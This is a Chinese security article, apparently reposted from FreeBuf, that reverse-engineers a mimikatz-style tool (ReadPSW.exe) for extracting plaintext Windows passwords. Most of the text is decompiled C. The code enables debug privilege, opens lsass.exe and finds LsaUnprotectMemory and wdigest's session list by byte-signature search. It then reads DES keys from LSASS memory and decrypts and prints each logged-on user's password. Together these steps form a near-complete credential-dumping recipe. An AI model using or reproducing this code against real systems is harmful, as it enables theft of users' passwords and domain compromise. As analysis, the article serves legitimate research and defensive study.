对windows密码抓取神器mimikatz的逆向分析

mimikatz可谓获取windows明文密码神器,新版本更是加上了64位支持。用过一个小型获取明文密码程序,只有一个可执行文件ReadPSW.exe,通过逆向写出了源代码,稍微改改可能也可以支持64位。分享一下逆向过程和工作原理。

FreeBuf科普:了解mimikatz

只要借用一下电脑,便可轻松拿到密码……“女神,借用电脑一看可否?”

大神们都知道的东西吧,渗透测试常用工具。法国一个牛B的人写的轻量级调试器,可以帮助安全测试人员抓取Windows密码。

mimikatz 最近发布了它的2.0版本,抓密码命令更加简单了,估计作者也看到了对它这个神器最多的研究就是直接抓密码,为神马不发布一个直接一键版,哈哈哈哈哈。新功能还包括能够通过获取的kerberos登录凭据,绕过支持RestrictedAdmin模式的win8或win2012svr的远程终端(RDP) 的登陆认证。建议默认禁止RestrictedAdmin模式登录。更多内容点我

逆向过程

我喜欢先用IDA看大致流程,遇到难以静态看出来的函数再用OD或者windbg。IDA F5 main函数,一段一段的看。

int __cdecl main_0()
{
  int hdll; // eax@15
  HMODULE ModuleSecur32; // eax@15
  int LsaEnumerateLogonSessions; // eax@15
  int LsaGetLogonSessionData; // eax@15
  int LsaFreeReturnBuffer; // eax@15
  int bcrypt; // eax@27
  int hbcrypt; // eax@27
  int bcryptprimitives; // eax@27
  int hbcryptprimitives; // eax@27
  int status7; // eax@27
  const void *Base; // [sp+7Ch] [bp-2E0h]@25
  SIZE_T nSize; // [sp+80h] [bp-2DCh]@25
  int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15
  int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15
  int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15
  HMODULE Secur32; // [sp+94h] [bp-2C8h]@15
  LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15
  int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15
  struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5
  HANDLE Lsass; // [sp+13Ch] [bp-220h]@3
  LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18
  LPCVOID *First; // [sp+340h] [bp-1Ch]@20
  int LogonSessionNow; // [sp+344h] [bp-18h]@18
  int ListEntry; // [sp+348h] [bp-14h]@15
  SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18
  int hDllLsasrv; // [sp+358h] [bp-4h]@15

变量名大多是修改过的,通过分析子函数的功能做相应的改变,看起来方便一些。

  memset(&tt, -858993460, 0x320u);
  if ( EnableDebugPrivilege() != 1 )
    printf("EnableDebugPrivilege fail !");

首先提权,比较简单:

  pToken = &TokenHandle;
  dwAccess = TOKEN_ALL_ACCESS;
  ProcessHandle = GetCurrentProcess();
  retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);
  status = OpenProcessToken(retProcessHandle, dwAccess, pToken);
      status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);
  NewState.PrivilegeCount = 1;
  NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
  NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
  NewState.Privileges[0].Attributes = 2;
  status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);

接着main函数流程:

  Lsass = GetProcessHandle("lsass.exe");
  if ( Lsass )
  {
    offset_one = 0;
    offset_two = -1;
    memset(&VersionInformation, 0, 0x94u);
    VersionInformation.dwOSVersionInfoSize = 148;
    status = GetVersionExA(&VersionInformation);
    _chkesp(&t == &t, status, &v48);
    if ( VersionInformation.dwMajorVersion == 5 )
    {
      if ( VersionInformation.dwMinorVersion == 1 )
      {
        offset_one = 36;
        offset_two = 2;
      }
      else
      {
        if ( VersionInformation.dwMinorVersion == 2 )
        {
          offset_one = 28;
          offset_two = 4;
        }
      }
    }
    else
    {
      if ( VersionInformation.dwMajorVersion == 6 )
      {
        offset_one = 32;
        offset_two = 1;
      }
    }
    if ( offset_two == -1 )
    {
      status12 = CloseHandle(Lsass);
      _chkesp(&t == &t, status12, &v48);
      returned = 0;
    }

上面工作主要是:获取lsass.exe进程句柄、根据不同版本赋值两个偏移量。可以看出支持xp和2003,之后版本vista、win7等使用同一偏移量。

   else
    {
      hdll = LoadLibraryA("lsasrv.dll");
      hDllLsasrv = _chkesp(&t == &t, hdll, &v48);
      LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u);

这个GetFunctionAddr是我重命名的,跟进去看一下实现就知道了:

int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)
{
  return RealGetFunctionAddr(Module, Limit, Symbol, Length);
}

是一个跳转,接着跟进:

int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)
{
  while ( Length + Module <= Limit )
  {
    label = Symbol;
    for ( i = 0; i < Length && *Module == *label; ++i )
    {
      ++Module;
      ++label;
    }
    if ( i == Length )
      break;
    Module = Module - i + 1;
  }
  return result;
}

是用特征码查找函数地址的,想知道是什么函数最好用windbg跟一下,发现找到了lsasrv.dll的LsaUnprotectMemory 函数,这里我也对变量名进行了重命名。该函数用于解密LsaProtectMemory加密内存,这两个函数在LSA中用得非常多。

      l_LogSessList = GetWdigestl_LogSessList();
      DesKey(Lsass, hDllLsasrv, offset_two);

这两个函数挺关键,需要结合OD动态调试,先看第一个,中间有个类似上面的跳转,直接看实现函数:

unsigned int __cdecl RealGetFunction()
{
  HMODULE hModule; // eax@1
  unsigned int moduleBase; // [sp+4Ch] [bp-10h]@1
  unsigned int returned; // [sp+50h] [bp-Ch]@1
  int SpInstanceInit; // [sp+54h] [bp-8h]@1
  HMODULE hLibModule; // [sp+58h] [bp-4h]@1
 
  memset(&v6, -858993460, 0x50u);
  t1 = LoadLibraryA("wdigest.dll");
  hModule = _chkesp(&v5 == &v5, t1, &v11);
  hLibModule = hModule;
  v2 = GetProcAddress(hModule, "SpInstanceInit");
  SpInstanceInit = _chkesp(&v5 == &v5, v2, &v11);
  moduleBase = hLibModule;
  returned = 0;
  while ( moduleBase < SpInstanceInit && moduleBase )
  {
    returned = moduleBase;
    moduleBase = GetFunctionAddr(moduleBase + 8, SpInstanceInit, db_8b_45, 8u);
  }
  returned = *(returned - 4);
  status = FreeLibrary(hLibModule);
  _chkesp(&v5 == &v5, status, &v11);
  return returned;
}

首先加载wdigest.dll模块,这里有详细的介绍。然后获取SpInstanceInit的地址,接着是一个查找函数的循环,根据特征码在SpInstanceInit地址低位查找某个地址,使用windbg可以看到要找的东西:

0:000> ln eax

(742ec29c) <Unloaded_wdigest.dll>+0xc29c

这并不是一个函数,具体的作用现在还不知道。后面会用到。

看下面的函数,这个函数实际上是用来产生DES的密钥:

const void *__cdecl make_DESKey(HANDLE hProcessLsass, int hDllLsasrv, int offset)
{
  int status; // eax@1
  const void *dwResult; // eax@1
  int Key; // eax@4
  char buffer; // [sp+Ch] [bp-68h]@1
  int OSVersion; // [sp+4Ch] [bp-28h]@1
  unsigned int HeapReverse; // [sp+50h] [bp-24h]@1
  const void *Buffer; // [sp+54h] [bp-20h]@4
  LPCVOID g_pDESXKey; // [sp+58h] [bp-1Ch]@4
  LPCVOID lpBuffer; // [sp+5Ch] [bp-18h]@1
  SIZE_T NumberOfBytesRead; // [sp+60h] [bp-14h]@1
  SIZE_T nSize; // [sp+64h] [bp-10h]@1
  int pImageNtHeaders; // [sp+68h] [bp-Ch]@1
  int hTmpDllLsasrv; // [sp+6Ch] [bp-8h]@1
  int DataSECTION; // [sp+70h] [bp-4h]@1
  int v27; // [sp+74h] [bp+0h]@1
 
  memset(&buffer, -858993460, 0x68u);
  hTmpDllLsasrv = hDllLsasrv;
  DataSECTION = *(hDllLsasrv + 60) + hDllLsasrv + 288;
  lpBuffer = (hDllLsasrv + *(DataSECTION + 12));  // 获取lsasrv.dll的数据区
  nSize = ((*(DataSECTION + 8) >> 12) + 1) << 12;   // 数据区大小
  status = ReadProcessMemory(hProcessLsass, lpBuffer, lpBuffer, nSize, &NumberOfBytesRead); //读取数据区内容
  _chkesp(&v15 == &v15, status, &v27);
  pImageNtHeaders = hDllLsasrv + *(hTmpDllLsasrv + 60);
  HeapReverse = hDllLsasrv + *(pImageNtHeaders + 80);
  dwResult = offset;
  OSVersion = offset;
  if ( offset == 1 )
  {
    v8 = LoadLibraryA("bcrypt.dll");
    _chkesp(&v15 == &v15, v8, &v27);
    v9 = LoadLibraryA("bcryptprimitives.dll");
    _chkesp(&v15 == &v15, v9, &v27);
    v10 = GetFunctionAddr(hDllLsasrv, HeapReverse, "3仪E鑌b", 0xCu);   //根据特征码查找存放DES_KEY的地址
    g_pDESXKey = v10;
    g_pDESXKey = *(v10 - 1);
    v11 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);
    _chkesp(&v15 == &v15, v11, &v27);
    v12 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);    // 通过两次内存查找找到KEY
    _chkesp(&v15 == &v15, v12, &v27);
    lpBuffer = g_pDESXKey;
    *g_pDESXKey = &t_Key;
    v13 = ReadProcessMemory(hProcessLsass, lpBaseAddress, &unk_42BFB8, 0x200u, &NumberOfBytesRead);
    _chkesp(&v15 == &v15, v13, &v27);
    lpBuffer = &lpBaseAddress;
    lpBaseAddress = &unk_42BFB8;
    v14 = ReadProcessMemory(hProcessLsass, dword_42AFC4, &unk_42ADB8, 0x200u, &NumberOfBytesRead);
    dwResult = _chkesp(&v15 == &v15, v14, &v27);
    dword_42AFC4 = &unk_42ADB8;
  }
  else
  {
    if ( OSVersion == 2 || OSVersion == 4 )
    {
      Key = GetFunctionAddr(hDllLsasrv, HeapReverse, Key_Symbol, 0xCu);
      g_pDESXKey = Key;
      g_pDESXKey = *(Key + 12);
      v6 = ReadProcessMemory(hProcessLsass, g_pDESXKey, &Buffer, 4u, &NumberOfBytesRead);
      _chkesp(&v15 == &v15, v6, &v27);
      v7 = ReadProcessMemory(hProcessLsass, Buffer, &t_Key, 0x200u, &NumberOfBytesRead);
      _chkesp(&v15 == &v15, v7, &v27);
      dwResult = g_pDESXKey;
      lpBuffer = g_pDESXKey;
      *g_pDESXKey = &t_Key;
    }
  }
  return dwResult;
}

根据最初得到的偏移,读取进程地址空间,获取DES的密钥。了解了这两个函数内容接着回归main函数:

      status13 = LoadLibraryA("Secur32.dll");
      ModuleSecur32 = _chkesp(&t == &t, status13, &v48);
      Secur32 = ModuleSecur32;
      LsaEnumerateLogonSessions = GetProcAddress(ModuleSecur32, "LsaEnumerateLogonSessions");
      pLsaEnumerateLogonSessions = _chkesp(&t == &t, LsaEnumerateLogonSessions, &v48);
      LsaGetLogonSessionData = GetProcAddress(Secur32, "LsaGetLogonSessionData");
      pLsaGetLogonSessionData = _chkesp(&t == &t, LsaGetLogonSessionData, &v48);
      LsaFreeReturnBuffer = GetProcAddress(Secur32, "LsaFreeReturnBuffer");
      pLsaFreeReturnBuffer = _chkesp(&t == &t, LsaFreeReturnBuffer, &v48);
  status1 = (pLsaEnumerateLogonSessions)(&count, &ListEntry);

加载secur32.dll,然后获取几个函数的地址,枚举登陆会话和获取登陆会话数据。接着调用LsaEnumerateLogonSessions得到当前登录的会话个数以及所有会话组成的列表。MSDN上说明了这个函数,会返回会话的LUID。

      _chkesp(&t == &t, status1, &v48);
      for ( i = 0; i < count; ++i )
      {
        LogonSessionNow = ListEntry + 8 * i;// 根据这里可以知道
        output_name_session(pLsaGetLogonSessionData, pLsaFreeReturnBuffer, ListEntry + 8 * i);  // 这里输出登陆用户名
 
进入output_name_session看看:
int __cdecl output_name_session_real(int (__stdcall *pLsaGetLogonSessionData)(_DWORD, _DWORD), int (__stdcall *pLsaFreeReturnBuffer)(_DWORD), int LogonSessionNow)
{
  int status; // eax@1
  int status1; // eax@1
  char v6; // [sp+0h] [bp-50h]@1
  char v7; // [sp+Ch] [bp-44h]@1
  int LogonSessionData; // [sp+4Ch] [bp-4h]@1
  int v9; // [sp+50h] [bp+0h]@1
 
  memset(&v7, -858993460, 0x44u);
  status = pLsaGetLogonSessionData(LogonSessionNow, &LogonSessionData);
  _chkesp(&v6 == &v6, status, &v9);
  printf("UserName: %S\n", *(LogonSessionData + 16));
  printf("LogonDomain: %S\n", *(LogonSessionData + 24));
  status1 = pLsaFreeReturnBuffer(LogonSessionData);
  return _chkesp(&v6 == &v6, status1, &v9);
}
这里用了之前查找的LsaGetLogonSessionData和LsaFreeReturnBuffer,输出登陆名和域名。
 
        status3 = ReadProcessMemory(Lsass, l_LogSessList, List, 0x100u, &NumberOfBytesRead);   // 这里读取之前获取的那个不明地址内容到List
        _chkesp(&t == &t, status3, &v48);
        while ( List[0] != l_LogSessList )
        {
          status4 = ReadProcessMemory(Lsass, List[0], List, 0x100u, &NumberOfBytesRead);
          _chkesp(&t == &t, status4, &v48);
          First = &List[4];
          if ( List[4] == *LogonSessionNow )
          {
            if ( First[1] == *(LogonSessionNow + 4) )       //  这个First[1]看着太别扭了,实际上就是比较List[4]和枚举到的会话LUID值
              break;//  这里可以知道之前那个不明地址<Unloaded_wdigest.dll>+0xc29c是个列表
          }
        }
        if ( List[0] == l_LogSessList )
        {
          printf("Specific LUID NOT found\n");
        }
        else
        {
          nSize = 0;
          v28 = (offset_one + First);
          nSize = *(offset_one + First + 2);
          Base = *(offset_one + First + 4);                    //  还是使用了First,不要忘记First是从当时那个不明地址处读取的值
          memset(Buffer2, 0, 0x100u);
          status2 = ReadProcessMemory(Lsass, Base, Buffer2, nSize, &NumberOfBytesRead);
          _chkesp(&t == &t, status2, &v47);//  这里读到加密之后的密码。整个流程就清楚了,使用LsaEnumerateSessions获取LUIDs,与之前通过特征码找到的l_LogSessList结合找出密码。l_LogSessList保存了密码的长度和存放地址以及会话LUID,是个重要的未公开结构体。
          status5 = (LsaUnprotectMemory)(Buffer2, nSize);
          _chkesp(&t == &t, status5, &v47);
          printf("password: %S\n\n", Buffer2);
        }

后面是一些释放dll和内存的工作,不再赘述。

[本文作者dedogger,本文属FreeBuf黑客与极客(FreeBuf.COM)原创文章奖励计划,未经允许禁止转载]

原文发布于微信公众号 - FreeBuf(freebuf)

原文发表时间:2015-01-07

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏IT笔记

从构建分布式秒杀系统聊聊验证码

为了拦截大部分请求,秒杀案例前端引入了验证码。淘宝上很多人吐槽,等输入完秒杀活动结束了,对,结束了...... 当然了,验证码的真正作用是,有效拦截刷单操作,让...

1412
来自专栏大数据挖掘DT机器学习

Python实现爬取知乎神回复

这篇文章主要介绍了Python实现爬取知乎神回复简单爬虫代码分享,本文实现了爬取知乎的“如何正确地吐槽”收藏夹,是对个人的一个兴趣实现,需要的朋友可以参考下。 ...

3385
来自专栏云计算

使用Akka HTTP构建微服务:CDC方法

原文地址:https://dzone.com/articles/building-microservices-with-akka-http-a-cdc-appr...

3175
来自专栏JavaEdge

Druid入门应用场景存储系统选择Druid介绍

设计一个系统来预估未来一年的广告流量,不是总流量,是任意时间段任何定向(Targeting)条件约束情况下的流量。定向条件有近百种(内容类别,设备平台,用户地域...

3744
来自专栏开源优测

[接口测试 - 基础篇] 01 你应该了解的协议基础

概述 对于很多软件测试从业人员而言,可能并不具备协议相关基础,更别说去独立的构建协议抓包环境、分析协议报文,并在实际测试过程中结合业务进行接口级自动化测试。 下...

2695
来自专栏我和未来有约会

AS一个新的框架Prana Framework

一个面向 Adobe Flex及ActionScript 3的控制反转(Inversion of Control,即IoC)应用框架。 控制反转(Invers...

2975
来自专栏JavaEdge

RESTful架构REST名称REST的出处RESTful API各端的具体实现

3405
来自专栏我是攻城师

ElasticSearch入门之风花雪月(五)

3062
来自专栏JackieZheng

学习SpringMVC——国际化+上传+下载

  每个星期一道菜,这个星期也不例外~~~   一个软件,一个产品,都是一点点开发并完善起来的,功能越来越多,性能越来越强,用户体验越来越好……这每个指标的提高...

2536
来自专栏java架构学习交流

如何用比较快速的方法掌握Spring的核心——依赖注入,Java web轻量级开发面试教程 读书笔记

      我们知道,Java方面的高级程序员一定得掌握Spring的技能,其中包括Spring 依赖注入(IOC),面向切面(AOP),和数据库的整合(比如和...

20810

扫码关注云+社区